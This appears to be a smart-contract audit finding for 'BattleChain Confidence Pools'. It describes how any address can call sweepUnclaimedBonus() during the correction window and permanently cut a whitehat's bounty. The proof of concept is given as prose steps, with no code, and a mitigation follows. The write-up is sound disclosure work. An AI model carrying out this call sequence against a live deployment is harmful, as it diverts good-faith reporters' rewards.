BattleChain Confidence Pools

Description

Before the first claim, the moderator may correct a previously flagged outcome. When the corrected outcome is good-faith CORRUPTED, the named whitehat should receive the entire pool recorded as snapshotTotalStaked + snapshotTotalBonus.

However, sweepUnclaimedBonus() permits any address to transfer tracked bonus to recoveryAddress while the correction window remains open. The function decreases totalBonus but intentionally leaves claimsStarted unset. A subsequent correction therefore remains valid, but flagOutcome() re-snapshots the reduced totalBonus, permanently decreasing the whitehat's bounty.

The issue is not permissionless sweeping by itself. The issue is that tracked bonus is considered sweepable while a corrected distribution requiring that bonus remains reachable.

Risk

Likelihood: Medium

• This occurs during the documented correction window when a pool containing tracked bonus is initially flagged SURVIVED, no risk window was locally observed, and the moderator subsequently corrects the outcome to good-faith CORRUPTED.

• Any address can monitor OutcomeFlagged and call sweepUnclaimedBonus() before the moderator submits the correction. The caller requires no capital, privileged role, token approval, or existing pool position.

• The required moderator action is an ordinary correction explicitly supported by the protocol, rather than malicious privileged behavior.

Impact: Medium

• The entire tracked bonus can be transferred to recoveryAddress instead of the named good-faith reporter.

• The corrected bountyEntitlement is permanently reduced because the correction snapshots the already-decreased totalBonus.

• The permissionless caller does not receive the funds directly, but can cause a quantified and irreversible loss of whitehat rewards.

• In the demonstrated scenario, the whitehat receives 100 tokens instead of 150 tokens, losing the complete 50-token bonus.

Proof of Concept

The PoC proceeds as follows:

1. Both pools receive 100 tokens of eligible stake and 50 tokens of tracked bonus.

2. The mock registry is placed in the terminal CORRUPTED state while riskWindowStart remains zero, representing a pool that never locally observed the active-risk interval.

3. In the control pool, the moderator first flags SURVIVED and then corrects it to good-faith CORRUPTED before any sweep. The resulting bountyEntitlement is 150 tokens, and the named whitehat successfully receives all 150 tokens.

4. In the attacked pool, the moderator first flags the same SURVIVED outcome. Before the correction transaction, an arbitrary address calls sweepUnclaimedBonus(). Because no risk window was observed, the function treats the entire 50-token tracked bonus as unreserved and transfers it to recoveryAddress.

5. The sweep does not set claimsStarted, so the moderator can still perform the documented correction to good-faith CORRUPTED. During this correction, flagOutcome() snapshots the now-zero totalBonus, reducing bountyEntitlement to 100 tokens.

6. The final assertions prove that the control whitehat receives 150 tokens while the attacked-pool whitehat receives only 100 tokens. The 50-token difference is caused solely by the permissionless pre-correction sweep.

The permissionless caller receives no direct profit and requires no capital or role. The demonstrated security impact is the irreversible diversion of the complete tracked bonus away from the good-faith reporter.

Recommended Mitigation

While claimsStarted == false, reserve all tracked bonus because a correction to good-faith CORRUPTED remains reachable. Permissionless sweeping may continue to recover direct-transfer donations, but it must not remove totalBonus until the correction window has closed.